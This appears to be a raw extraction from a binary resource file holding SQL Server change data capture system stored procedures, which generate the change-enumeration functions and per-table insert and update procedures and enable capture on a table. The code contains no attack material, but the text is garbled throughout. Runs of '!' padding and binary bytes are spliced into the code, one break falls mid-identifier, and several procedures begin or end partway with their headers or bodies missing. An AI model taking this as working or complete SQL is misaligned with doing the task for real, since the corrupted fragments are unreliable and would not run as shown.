!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(8
i/ʌv=create procedure sys.sp_cdc_create_change_enumeration_functions
(
	@source_schema sysname,
	@source_name sysname,
	@capture_instance sysname,
	@supports_net_changes bit
)	
as
begin
	declare @retcode int
		,@column sysname
		,@stmt nvarchar(max)
		,@column_list nvarchar(max)
		,@null_column_list nvarchar(max)
		,@column_list_outer nvarchar(max)
		,@pk_max_where_clause nvarchar(max)
		,@pk_top_where_clause nvarchar(max)
		,@pk_group_clause nvarchar(max)
		,@has_access_function nvarchar(1000)
		,@has_access_function_net_changes nvarchar(1000)
		,@has_access_function_false nvarchar(1000)
		,@has_access_function_net_changes_false nvarchar(1000)
		,@net_changes_function nvarchar(1000)
		,@all_changes_function nvarchar(1000)
		,@quoted_change_table nvarchar(1000)
		,@quoted_column nvarchar(1000)
		,@quoted_source_table nvarchar(1000)
		,@min_op sysname
		,@count sysname
		,@newid sysname
		,@max_seqval sysname
		
    set nocount on
    
    -- Use first 8 characters of uniqueidentifier to qualify column names internal to the TVF 
    -- that could conflict with user column names. 
    set @newid = SUBSTRING(CONVERT(nvarchar(36), NEWID()),1,8)
    set @min_op = N'__$min_op_' + @newid
    set @count = N'__$count_' + @newid
    set @max_seqval = N'__$max_seqval_' + @newid
    
	create table #index_column_names(column_name sysname null, index_ordinal int null)

	set @quoted_source_table  = quotename(@source_schema) + N'.' + quotename(@source_name)
    set @quoted_change_table  = N'[cdc].' + quotename(@capture_instance + N'_CT')
    set @net_changes_function = N'[cdc].' + quotename(N'fn_cdc_get_net_changes' + N'_' + @capture_instance )
    set @all_changes_function = N'[cdc].' + quotename(N'fn_cdc_get_all_changes' + N'_' + @capture_instance )
 
    set @has_access_function  =
		N'( [sys].[fn_cdc_check_parameters]( N''' + replace(rtrim(@capture_instance), N'''', N'''''') + N''', @from_lsn, @to_lsn, lower(rtrim(ltrim(@row_filter_option))), 0) = 1)'
    set @has_access_function_net_changes  =
		N'( [sys].[fn_cdc_check_parameters]( N''' + replace(rtrim(@capture_instance), N'''', N'''''') + N''', @from_lsn, @to_lsn, lower(rtrim(ltrim(@row_filter_option))), 1) = 1)'
    set @has_access_function_false  =
		N'( [sys].[fn_cdc_check_parameters]( N''' + replace(rtrim(@capture_instance), N'''', N'''''') + N''', @from_lsn, @to_lsn, lower(rtrim(ltrim(@row_filter_option))), 0) = 0)'
    set @has_access_function_net_changes_false  =
		N'( [sys].[fn_cdc_check_parameters]( N''' + replace(rtrim(@capture_instance), N'''', N'''''') + N''', @from_lsn, @to_lsn, lower(rtrim(ltrim(@row_filter_option))), 1) = 0)'

	insert into #index_column_names
	select column_name, index_ordinal
	from [cdc].[index_columns]
	where object_id = object_id(@quoted_change_table)

	declare #hcolumns cursor local fast_forward for
		select name
		from [sys].[columns]
		where object_id = object_id(@quoted_change_table)
		and name not in
			(N'__$start_lsn', N'__$end_lsn', N'__$seqval', N'__$operation', N'__$update_mask')
		order by column_id
	
	open #hcolumns
	fetch #hcolumns into @column
	set @column_list = N''
	set @null_column_list = N''
	set @column_list_outer = N''
	
	while (@@fetch_status <> -1)
	begin
		set @column_list = @column_list + N', t.' + quotename(@column)
		set @null_column_list = @null_column_list + N', NULL as ' + quotename(@column)
		set @column_list_outer = @column_list_outer + N', ' + quotename(@column) 	
		fetch #hcolumns into @column
	end
	
	close #hcolumns
	deallocate #hcolumns
	
	set @stmt =
	N'
	create function ' + @all_changes_function + N'
	(	@from_lsn binary(10),
		@to_lsn binary(10),
		@row_filter_option nvarchar(30)
	)
	returns table
	return
	
	select NULL as __$start_lsn,
		NULL as __$seqval,
		NULL as __$operation,
		NULL as __$update_mask' +
	       @null_column_list + N'
	where ' + @has_access_function_false + N'

	union all
	
	select t.__$start_lsn as __$start_lsn,
		t.__$seqval as __$seqval,
		t.__$operation as __$operation,
		t.__$update_mask as __$update_mask' +
	       @column_list + N'
	from ' + @quoted_change_table + N' t with (nolock)    
	where (lower(rtrim(ltrim(@row_filter_option))) = ''all'')
	    and ' + @has_access_function + N'
		and (t.__$operation = 1 or t.__$operation = 2 or t.__$operation = 4)
		and (t.__$start_lsn <= @to_lsn)
		and (t.__$start_lsn >= @from_lsn)
		
	union all	
		
	select t.__$start_lsn as __$start_lsn,
		t.__$seqval as __$seqval,
		t.__$operation as __$operation,
		t.__$update_mask as __$update_mask' +
	       @column_list + N'
	from ' + @quoted_change_table + N' t with (nolock)     
	where (lower(rtrim(ltrim(@row_filter_option))) = ''all update old'')
	    and ' + @has_access_function + N'
		and (t.__$operation = 1 or t.__$operation = 2 or t.__$operation = 4 or
		     t.__$operation = 3 )
		and (t.__$start_lsn <= @to_lsn)
		and (t.__$start_lsn >= @from_lsn)
	'	
		 
	exec (@stmt)
	if (@@error != 0)
	begin
		raiserror(22958, 16, -1, @capture_instance)
		return 1
	end

	if (@supports_net_changes != 1)
	begin
		return 0
	end	
	
	declare #hidxcolumns cursor local fast_forward for
		select column_name
		from #index_column_names 
		order by index_ordinal
	
	open #hidxcolumns
	fetch #hidxcolumns into @column
	
	set @pk_max_where_clause = N' ( '
	set @pk_top_where_clause = N' ( '
	set @pk_group_clause      = N' '
	
	if (@@fetch_status <> -1)
	begin
    	set @quoted_column = quotename(@column)

		set @pk_max_where_clause  = N' ( (t.' + @quoted_column + N' = m.' + @quoted_column + N')'
		set @pk_top_where_clause  = N' ( (c.' + @quoted_column + N' = t.' + @quoted_column + N')'
		set @pk_group_clause      = N' r.' + @quoted_column

		fetch #hidxcolumns into @column
	end
	
	while (@@fetch_status <> -1)
	begin
		set @quoted_column = quotename(@column)

		set @pk_max_where_clause  = @pk_max_where_clause  + N' and (t.' + @quoted_column + N' = m.' + @quoted_column + N') '
		set @pk_top_where_clause  = @pk_top_where_clause  + N' and (c.' + @quoted_column + N' = t.' + @quoted_column + N') '
		set @pk_group_clause      = @pk_group_clause      + N', r.' + @quoted_column 
		
		fetch #hidxcolumns into @column
	end
	
	set @pk_max_where_clause = @pk_max_where_clause + N' ) '
	set @pk_top_where_clause = @pk_top_where_clause + N' ) '
	
	close #hidxcolumns
	deallocate #hidxcolumns
	
	set @stmt =
	N'
	create function ' + @net_changes_function + N'
	(	@from_lsn binary(10),
		@to_lsn binary(10),
		@row_filter_option nvarchar(30)
	)
	returns table
	return

	select NULL as __$start_lsn,
		NULL as __$operation,
		NULL as __$update_mask' +
	       @null_column_list + N'
	where ' + @has_access_function_net_changes_false + N'

	union all
	
	select __$start_lsn,
	    case ' + @count + N'
	    when 1 then __$operation
	    else
			case ' + @min_op + N' 
				when 2 then 2
				when 4 then
				case __$operation
					when 1 then 1
					else 4
					end
				else
				case __$operation
					when 2 then 4
					when 4 then 4
					else 1
					end
			end
		end as __$operation,
		null as __$update_mask ' + @column_list_outer + N'
	from
	(
		select t.__$start_lsn as __$start_lsn, __$operation,
		case ' + @count + N' 
		when 1 then __$operation 
		else
		(	select top 1 c.__$operation
			from ' + @quoted_change_table + N' c with (nolock)   
			where ' + @pk_top_where_clause + N' 
			and ((c.__$operation = 2) or (c.__$operation = 4) or (c.__$operation = 1))
			and (c.__$start_lsn <= @to_lsn)
			and (c.__$start_lsn >= @from_lsn)
			order by c.__$seqval) end ' + @min_op + N', ' + @count + @column_list + N' 
		from ' + @quoted_change_table + N' t with (nolock) inner join 
		(	select ' + @pk_group_clause + N', max(r.__$seqval) as ' + @max_seqval + N',
		    count(*) as ' + @count + N' 
			from ' + @quoted_change_table + N' r with (nolock)   
			where  (r.__$start_lsn <= @to_lsn)
			and (r.__$start_ls!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<~
9
i/O} =n >= @from_lsn)
			group by  ' + @pk_group_clause + N') m
		on t.__$seqval = m.' + @max_seqval + N' and
		   ' + @pk_max_where_clause + N'	
		where lower(rtrim(ltrim(@row_filter_option))) = N''all''
			and ' + @has_access_function_net_changes + N'
			and (t.__$start_lsn <= @to_lsn)
			and (t.__$start_lsn >= @from_lsn)
			and ((t.__$operation = 2) or (t.__$operation = 4) or 
				 ((t.__$operation = 1) and
				  (2 not in 
				 		(	select top 1 c.__$operation
							from ' + @quoted_change_table + N' c with (nolock) 
							where ' + @pk_top_where_clause + N' 
							and ((c.__$operation = 2) or (c.__$operation = 4) or (c.__$operation = 1))
							and (c.__$start_lsn <= @to_lsn)
							and (c.__$start_lsn >= @from_lsn)
							order by c.__$seqval
						 ) 
	 			   )
	 			 )
	 			) 	
	) Q
	
	union all
	
	select __$start_lsn,
	    case ' + @count + N'
	    when 1 then __$operation
	    else
			case ' + @min_op + N' 
				when 2 then 2
				when 4 then
				case __$operation
					when 1 then 1
					else 4
					end
				else
				case __$operation
					when 2 then 4
					when 4 then 4
					else 1
					end
			end
		end as __$operation,
		case ' + @count + N'
		when 1 then
			case __$operation
			when 4 then __$update_mask
			else null
			end
		else	
			case ' + @min_op + N' 
			when 2 then null
			else
				case __$operation
				when 1 then null
				else __$update_mask 
				end
			end	
		end as __$update_mask ' + @column_list_outer + N'
	from
	(
		select t.__$start_lsn as __$start_lsn, __$operation,
		case ' + @count + N' 
		when 1 then __$operation 
		else
		(	select top 1 c.__$operation
			from ' + @quoted_change_table + N' c with (nolock)
			where ' + @pk_top_where_clause + N' 
			and ((c.__$operation = 2) or (c.__$operation = 4) or (c.__$operation = 1))
			and (c.__$start_lsn <= @to_lsn)
			and (c.__$start_lsn >= @from_lsn)
			order by c.__$seqval) end ' + @min_op + N', ' + @count + N', 
		m.__$update_mask ' + @column_list + N'
		from ' + @quoted_change_table + N' t with (nolock) inner join 
		(	select ' + @pk_group_clause + N', max(r.__$seqval) as ' + @max_seqval + N',
		    count(*) as ' + @count + N', 
		    [sys].[ORMask](r.__$update_mask) as __$update_mask
			from ' + @quoted_change_table + N' r with (nolock)
			where  (r.__$start_lsn <= @to_lsn)
			and (r.__$start_lsn >= @from_lsn)
			group by  ' + @pk_group_clause + N') m
		on t.__$seqval = m.' + @max_seqval + N' and
		   ' + @pk_max_where_clause + N'	
		where lower(rtrim(ltrim(@row_filter_option))) = N''all with mask''
			and ' + @has_access_function_net_changes + N'
			and (t.__$start_lsn <= @to_lsn)
			and (t.__$start_lsn >= @from_lsn)
			and ((t.__$operation = 2) or (t.__$operation = 4) or 
				 ((t.__$operation = 1) and
				  (2 not in 
				 		(	select top 1 c.__$operation
							from ' + @quoted_change_table + N' c with (nolock)
							where ' + @pk_top_where_clause + N' 
							and ((c.__$operation = 2) or (c.__$operation = 4) or (c.__$operation = 1))
							and (c.__$start_lsn <= @to_lsn)
							and (c.__$start_lsn >= @from_lsn)
							order by c.__$seqval
						 ) 
	 			   )
	 			 )
	 			) 	
	) Q
	
	union all
	
		select t.__$start_lsn as __$start_lsn,
		case t.__$operation
			when 1 then 1
			else 5
		end as __$operation,
		null as __$update_mask ' + @column_list + N'
		from ' + @quoted_change_table + N' t  with (nolock) inner join 
		(	select ' + @pk_group_clause + N', max(r.__$seqval) as ' + @max_seqval + N'
			from ' + @quoted_change_table + N' r with (nolock)
			where  (r.__$start_lsn <= @to_lsn)
			and (r.__$start_lsn >= @from_lsn)
			group by  ' + @pk_group_clause + N') m
		on t.__$seqval = m.' + @max_seqval + N' and
		   ' + @pk_max_where_clause + N'	
		where lower(rtrim(ltrim(@row_filter_option))) = N''all with merge''
			and ' + @has_access_function_net_changes + N'
			and (t.__$start_lsn <= @to_lsn)
			and (t.__$start_lsn >= @from_lsn)
			and ((t.__$operation = 2) or (t.__$operation = 4) or 
				 ((t.__$operation = 1) and 
				   (2 not in 
				 		(	select top 1 c.__$operation
							from ' + @quoted_change_table + N' c with (nolock)
							where ' + @pk_top_where_clause + N' 
							and ((c.__$operation = 2) or (c.__$operation = 4) or (c.__$operation = 1))
							and (c.__$start_lsn <= @to_lsn)
							and (c.__$start_lsn >= @from_lsn)
							order by c.__$seqval
						 ) 
	 				)
	 			 )
	 			)
	 '			 	
		 
	exec (@stmt)
	if (@@error != 0)
	begin
		raiserror(22959, 16, -1, @capture_instance)
		return 1
	end

	return 0
	
end
!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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sysname
		,@column_id int 
		,@is_computed bit
		,@stmt nvarchar(max)
		,@old nvarchar(4)
		,@new nvarchar(4)
		,@quoted_change_table nvarchar(1000)
		,@change_table_object_id int
		,@insdel_proc nvarchar(1000)
		,@upd_proc nvarchar(1000)
		,@batchinsert_proc nvarchar(1000)
		,@column_type_list nvarchar(max)
		,@column_type_list_old nvarchar(max)
		,@column_type_list_new nvarchar(max)
		,@column_type_list_batch nvarchar(max)
		,@column_list nvarchar(max)
		,@column_list_withrow1 nvarchar(max)
		,@column_list_batch nvarchar(max)
		,@column_list_select nvarchar(max)
		,@column_parameter_list nvarchar(max)
		,@column_parameter_list_old nvarchar(max)
		,@column_parameter_list_new nvarchar(max)
		,@column_parameter_list_batch nvarchar(max)
		,@column_type_list_size int
		,@newid sysname
		,@rownum sysname
		
    set nocount on
    
    -- Use first 8 characters of uniqueidentifier to qualify column name internal to the sp 
    -- that could conflict with a user column name. 
    set @newid = SUBSTRING(CONVERT(nvarchar(36), NEWID()),1,8)
    set @rownum = N'__$rownum' + @newid

    -- We will insure parameter is either 'create' or 'alter'
    set @ddl_operation = lower(rtrim(ltrim(@ddl_operation)))
    if (@ddl_operation <> N'alter')
    begin
		set @ddl_operation = N'create'
	end	
    
    set @old = N'_old'
    set @new = N'_new'
    set @quoted_change_table  = N'[cdc].' + quotename(@capture_instance + N'_CT')
   	set @change_table_object_id = object_id(@quoted_change_table)

    set @insdel_proc = N'[cdc].' + quotename(N'sp_insdel_' + convert(nvarchar(10),@change_table_object_id))
    set @upd_proc    = N'[cdc].' + quotename(N'sp_upd_'    + convert(nvarchar(10),@change_table_object_id))
    set @batchinsert_proc    = N'[cdc].' + quotename(N'sp_batchinsert_'    + convert(nvarchar(10),@change_table_object_id))
 
	declare #hcolumns cursor local fast_forward for
		select c.column_name, s.column_id, c.is_computed
		from cdc.captured_columns c inner join sys.columns s
			on c.object_id = s.object_id and
			   c.column_name = s.name
		where c.object_id = @change_table_object_id
		order by s.column_id
	
	open #hcolumns
	fetch #hcolumns into @column
			,@column_id
			,@is_computed
	set @column_type_list = N''
	set @column_type_list_old = N''
	set @column_type_list_new = N''
	set @column_type_list_batch = N''
	set @column_list = N''
	set @column_list_withrow1 = N''
	set @column_list_select = N''
	set @column_parameter_list = N''
	set @column_parameter_list_old = N''
	set @column_parameter_list_new = N''
	set @column_parameter_list_batch = N''
	set @column_type_list_size = 0

	while (@@fetch_status <> -1)
	begin
		set @column_list = @column_list + N', ' + quotename(@column)
		if (@is_computed = 0)
		begin
			set @column_type_list = @column_type_list + N', @c' + convert(nvarchar(10),@column_id) +  N' ' +
				[sys].[fn_cdc_format_type]( @change_table_object_id
					,@column_id) 
			set @column_type_list_old = @column_type_list_old + N', @c' + convert(nvarchar(10),@column_id) + @old +  N' ' +
				[sys].[fn_cdc_format_type]( @change_table_object_id
					,@column_id) 
			set @column_type_list_new = @column_type_list_new + N', @c' + convert(nvarchar(10),@column_id) + @new +  N' ' +
				[sys].[fn_cdc_format_type]( @change_table_object_id
					,@column_id) 
			set @column_type_list_batch = @column_type_list_batch + N', @c' + convert(nvarchar(10),@column_id) +  N'_XXX ' +
				[sys].[fn_cdc_format_type]( @change_table_object_id, @column_id) 

			set @column_parameter_list = @column_parameter_list + N', @c' + convert(nvarchar(10),@column_id)
			set @column_parameter_list_old = @column_parameter_list_old + N', @c' + convert(nvarchar(10),@column_id) + @old
			set @column_parameter_list_new = @column_parameter_list_new + N', @c' + convert(nvarchar(10),@column_id) + @new
			set @column_parameter_list_batch = @column_parameter_list_batch + N', @c' + convert(nvarchar(10),@column_id) + N'_XXX'
			set @column_list_withrow1 = @column_list_withrow1 + N', @c' + convert(nvarchar(10),@column_id) + N'_1 ' + quotename(@column)
			set @column_list_select = @column_list_select + N', ' + quotename(@column)

			set @column_type_list_size = @column_type_list_size + 1
		end
		else
		begin
			set @column_parameter_list = @column_parameter_list + N', null' 
			set @column_parameter_list_old = @column_parameter_list_old + N', null' 
			set @column_parameter_list_new = @column_parameter_list_new + N', null' 
			set @column_list_select = @column_list_select + N', null'
		end
		
		fetch #hcolumns into @column
			,@column_id
			,@is_computed
	end
	
	close #hcolumns
	deallocate #hcolumns


	
	set @stmt = @ddl_operation +
	N'
	procedure ' + @insdel_proc + N'
	(	@__$start_lsn binary(10),
		@__$seqval binary(10),
		@__$operation int,
		@__$update_mask varbinary(128) ' + @column_type_list + N'
	)
	as
	begin
		insert into ' + @quoted_change_table + N' 
		(
			__$start_lsn
			,__$end_lsn
			,__$seqval
			,__$operation
			,__$update_mask ' + @column_list + N'
		)
		values
		(
			@__$start_lsn
			,NULL
			,@__$seqval
			,@__$operation
			,@__$update_mask ' + @column_parameter_list + N'
		)
		return 0
	end														'
	
	exec (@stmt)

	if (@@error != 0)
	begin
		return 1
	end

	exec sp_MS_marksystemobject @insdel_proc
	if (@@error != 0)
	begin
		return 1
	end

	set @stmt = @ddl_operation +
	N'
	procedure ' + @upd_proc + N'
	(	@__$start_lsn binary(10),
		@__$seqval binary(10),
		@__$update_mask varbinary(128) ' + @column_type_list_old  +  @column_type_list_new + N'
	)
	as
	begin
		insert into ' + @quoted_change_table + N' 
		(
			__$start_lsn
			,__$end_lsn
			,__$seqval
			,__$operation
			,__$update_mask ' + @column_list + N'
		)
		values
		(
			@__$start_lsn
			,NULL
			,@__$seqval
			,3
			,@__$update_mask ' + @column_parameter_list_old + N'
		)
		
		insert into ' + @quoted_change_table + N' 
		(
			__$start_lsn
			,__$end_lsn
			,__$seqval
			,__$operation
			,__$update_mask ' + @column_list + N'
		)
		values
		(
			@__$start_lsn
			,NULL
			,@__$seqval
			,4
			,@__$update_mask ' + @column_parameter_list_new + N'
		)
		
		return 0
	end														'

	exec (@stmt)

	if (@@error != 0)
	begin
		return 1
	end

    exec sp_MS_marksystemobject @upd_proc
	if (@@error != 0)
	begin
		return 1
	end

	--create the stored proc for batch populating
	declare @maxrowcount int
		    ,@currow int
		    ,@ministmt nvarchar(max)

	set @column_type_list_batch = 
	N'
	  @__$start_lsn_XXX binary(10), @__$seqval_XXX binary(10), @__$operation_XXX int, @__$update_mask_XXX varbinary(128)' + @column_type_list_batch
	  
	set @column_list_batch = N'__$start_lsn, __$end_lsn, __$seqval, __$operation, __$update_mask' + @column_list
	set @column_list_select = N'__$start_lsn, NULL, __$seqval, __$operation, __$update_mask' + @column_list_select 
	set @column_list_withrow1 = N'@__$start_lsn_1 __$start_lsn, @__$seqval_1 __$seqval, @__$operation_1 __$operation, @__$update_mask_1 __$update_mask' + @column_list_withrow1 
	set @column_parameter_list_batch = N'@__$start_lsn_XXX,  @__$seqval_XXX, @__$operation_XXX, @__$update_mask_XXX' + @column_parameter_list_batch
	set @maxrowcount = (2100 - 1)/(4 + @column_type_list_size); -- >= 2, < 524

	set @stmt = @ddl_operation +
	N'
	procedure ' + @batchinsert_proc + N'
	(
	 @rowcount int,'
	
	set @currow = 1;
	while @currow < @maxrowcount
	begin
		set @stmt = @stmt + REPLACE(@column_type_list_batch, N'XXX', convert(nvarchar(3), @currow)) + N','
		set @currow = @currow + 1 
	end
	set @stmt = @stmt + REPLACE(@column_type_list_batch, N'XXX', convert(nvarchar(3), @currow)) + 
	N'
	)														
	as
	begin
	   set nocount on	
	   insert !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(;
B0tvcreate procedure sys.sp_cdc_enable_table_internal 
(
	@source_schema sysname,
	@source_name sysname,
	@capture_instance sysname,
	@supports_net_changes bit,
	@role_name sysname,
	@index_name sysname,
	@captured_column_list nvarchar(max),
	@filegroup_name sysname,
	@allow_partition_switch bit
)
as
begin
	declare @retcode int
            ,@is_cdc_enabled bit
            ,@stmt nvarchar(max)
            ,@role_exists bit
            ,@object_id int
            ,@csi_objid int
            ,@source_object_id int
            ,@schema_owner sysname
            ,@source_table nvarchar(1000)
            ,@db_name sysname
            ,@use_count int
            ,@existing_tracked tinyint
            ,@first_table tinyint
            ,@instancecnt int
            ,@column_name sysname
            ,@csi_name sysname
            ,@column_type sysname
            ,@is_computed bit
            ,@action nvarchar(1000)
            ,@raised_error int
            ,@raised_message nvarchar(4000)
            ,@trancount int
            ,@resource nvarchar(255)
            ,@table_resource nvarchar(255)
            ,@applock_result int
            ,@count int
            ,@index_column_count int
            ,@db_id int
            ,@instance_resource nvarchar(255)
            ,@is_partitioned bit
            ,@error_already_set bit
            ,@start_lsn binary(10)
            ,@create_date datetime
            ,@fFileTable bit
            
    set nocount on        
            
    select @existing_tracked = 0
		,@first_table = 0
		,@raised_error = 0
		,@error_already_set = 0        

	create table #index_columns
	(
		column_name sysname null,
		index_ordinal int null,
		column_id int null
	)

    set @db_name = db_name()
    set @db_id = db_id()
    set @resource = N'__$cdc__db_' + convert(nvarchar(10),@db_id)
    set @source_name = rtrim(@source_name)
    set @source_schema = rtrim(@source_schema)
    set @filegroup_name = rtrim(@filegroup_name)
    if (@filegroup_name = N'')
    begin
		set @filegroup_name = null
	end	
    
    -- Verify source table schema is not null or empty
    if (@source_schema is null) or (@source_schema = N'') 
    begin
		raiserror(22963, 16, -1, N'@source_schema')
        return 1
    end
    
    -- Verify the source table schema is not the CDC schema
    if (lower(@source_schema) = lower('cdc')) 
    begin
		raiserror(22974, 16, -1)
        return 1
    end
    
    -- Verify source table name is not null or empty
    if (@source_name is null) or (@source_name = N'') 
    begin
		raiserror(22963, 16, -1, N'@source_name')
        return 1
    end

    -- Verify @source_schema and @source_name together identify a local table
    select @source_table = quotename(@source_schema) + N'.' + quotename(@source_name)
    select @source_object_id = object_id(@source_table)
    select @table_resource = N'__$cdc__table_' + convert(nvarchar(10),@source_object_id)
    
    if (@source_object_id is null)
	 or not exists (select * from sys.tables where object_id = @source_object_id and is_ms_shipped = 0)							
    begin
		raiserror(22931, 16, -1, @source_schema, @source_name)
        return 1
    end
    
    -- Verify that @source_object_id is not a filetable
    SELECT @fFileTable = is_filetable from sys.tables where object_id = @source_object_id
    If (@fFileTable = 1)
    BEGIN
        RAISERROR (33436, 16, -1, @source_table)
        return 1
    END
	
    -- Verify that two capture instances do not already exist for the table
    select @instancecnt = 0
     
	select @instancecnt = count(*)
	from [cdc].change_tables with (index = source_object_id_idx)
	where source_object_id = @source_object_id
	
	if (@instancecnt > 1)	 
    begin
		raiserror(22962, 16, -1, @source_schema, @source_name)
        return 1
    end
   
    -- Do a quick check to see if this is the first table added for change tracking,
    -- this is used later to determine whether or not we need to add the cdc jobs.
    if exists (
		select top 1 source_object_id
        from [cdc].change_tables
        )
    begin    
		set @first_table = 0
	end		
    else
    begin    
		set @first_table = 1
	end
			
    -- Verify @capture_instance is suitable for naming CDC objects
    if (@capture_instance is null)
    begin
		set @capture_instance = @source_schema + N'_' + @source_name
    end
    else
    begin
		set @capture_instance = rtrim(@capture_instance)
    end
    
    exec @retcode = [sys].[sp_cdc_verify_capture_instance] @capture_instance
    if (@retcode != 0) or (@@error != 0)
    begin
        return 1
    end
    
    -- Verify @index_name if specified is a valid unique index for the source table
    if (@index_name is not null)
    begin 
		exec @retcode = [sys].[sp_cdc_verify_index_name] @source_schema, @source_name, @index_name
		if (@retcode != 0) or (@@error != 0)
		begin
			return 1
		end		
    end

    -- Verify @role_name if specified is a valid name, and determine whether it
    -- already exists.
    if (@role_name is not null)
    begin
		set @role_name = rtrim(@role_name) 
		exec @retcode = [sys].[sp_cdc_verify_role_name] @role_name, @role_exists output
		if (@retcode != 0) or (@@error != 0)
		begin
			return 1
		end		
    end
    
    -- If @index_name is null, we will use the primary key columns
    -- to uniquely identify a row, if a primary key is defined.
    if  (@index_name is null) 
    begin       
    	select @index_name = i.name
		from [sys].[indexes] i
		where  i.object_id = @source_object_id
		and    i.is_primary_key = 1
		
		-- Verify that a primary key is defined if @supports_net_changes is set
		-- and the index name parameter is null.
		if   (@supports_net_changes = 1) and (@index_name is null)
		begin
			raiserror(22939, 16, -1)
			return 1
		end
    end
    
    /*
    ** Change Data Capture not supported on a table with columnstore index.
    */

    select TOP 1 @csi_objid=object_id, @csi_name=name from sys.indexes
                    where (object_id = @source_object_id) and
                        (type = 5 or type = 6)
    if @csi_objid is not NULL
    begin
        raiserror (35353, 16, -1, N'Change Data Capture', @csi_name, @source_name)
        return 1
    end

 	-- If @index_name is non-null, populate temporary index column table with index
 	-- columns
	if (@index_name is not null)
	begin
		insert into #index_columns
		select c.name, ic.key_ordinal, c.column_id
		from [sys].[indexes] i inner join [sys].[columns] c
			on i.object_id = c.object_id
		inner join [sys].[index_columns] ic
			on i.object_id = ic.object_id and
			   i.index_id  = ic.index_id and
			   c.column_id = ic.column_id
		where  i.object_id = @source_object_id
		and    i.name = @index_name
	
		if (@@error != 0)
		begin
			raiserror(22941, 16, -1, @index_name, @source_schema, @source_name)
			return 1
		end		
    end
    
    select @index_column_count = count(*)
    from #index_columns
    
    if  (@supports_net_changes is NULL)
    begin
		-- If @index_name is NULL, no @index_name parameter was specified and
		-- no primary key is defined, so @supports_net_changes should default to 0.
		if  (@index_name is null) or (@index_column_count > 14) 
		begin       
			set @supports_net_changes = 0
		end
		else
		begin
			set @supports_net_changes = 1
		end
	end
	
	if (@supports_net_changes = 1) and (@index_column_count > 14)
	begin
		raiserror(22865, 16, -1, @index_name, @source_schema, @source_name)
		return 1
	end	
	    
    create table #captured_columns 
	(
		column_name sysname null,
		column_type sysname null,
		is_computed bit null
	)

	-- If non-null, parse included column list and verify that identified columns
	-- appear in the source table.
	if (@captured_column_list is not null)
	begin
		insert into #captured_columns
		exec @retcode = [sys]!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(<
B0uv.[sp_cdc_parse_captured_column_list] @source_schema
			,@source_name
			,@captured_column_list
			
		if (@retcode != 0) or (@@error != 0)
		begin
			raiserror(22942, 16, -1, @source_schema, @source_name)
			return 1
		end		
    end
    else
    -- If @captured_columns is null, all of the table columns will be tracked
    begin
		-- Insert all of the table columns into #captured_columns
		insert into #captured_columns
		select name, isnull(type_name(system_type_id), type_name(user_type_id)), is_computed
		from [sys].[columns]
		where object_id = @source_object_id  
		order by column_id

	end
   
    -- Verify that none of the reserved change table metadata columns
    -- appear as columns to be tracked.
    if exists
    (
		select top 1 column_name from #captured_columns  
		where lower(column_name) collate database_default in ('__$start_lsn', '__$end_lsn', '__$seqval', '__$operation', '__$update_mask')	
	)
    begin
		raiserror(22975, 16, -1)
        return 1
    end
    
    -- Make certain that all of the index columns appear as captured columns
    if exists
    (
		select column_name
		from #index_columns
		where  column_name collate database_default not in
			(	select column_name collate database_default
				from #captured_columns )
    )	
	begin
		raiserror(22943, 16, -1)
		return 1
	end
	
	-- Verify that the filegroup if non-null is a valid filegroup
	if (@filegroup_name is not null)
	begin
		if not exists
			(	select * from sys.filegroups
				where name = @filegroup_name )
		begin
			raiserror(22973, 16, -1, @filegroup_name, @db_name)
			return(1)
		end			
	end	

	if @allow_partition_switch is null
	begin
		raiserror(22844, 16, -1, N'@allow_partition_switch')
		return 1
	end
	
	set @is_partitioned = 0
	
	if exists (
		select partition_number
		from sys.partitions 
		where object_id = @source_object_id
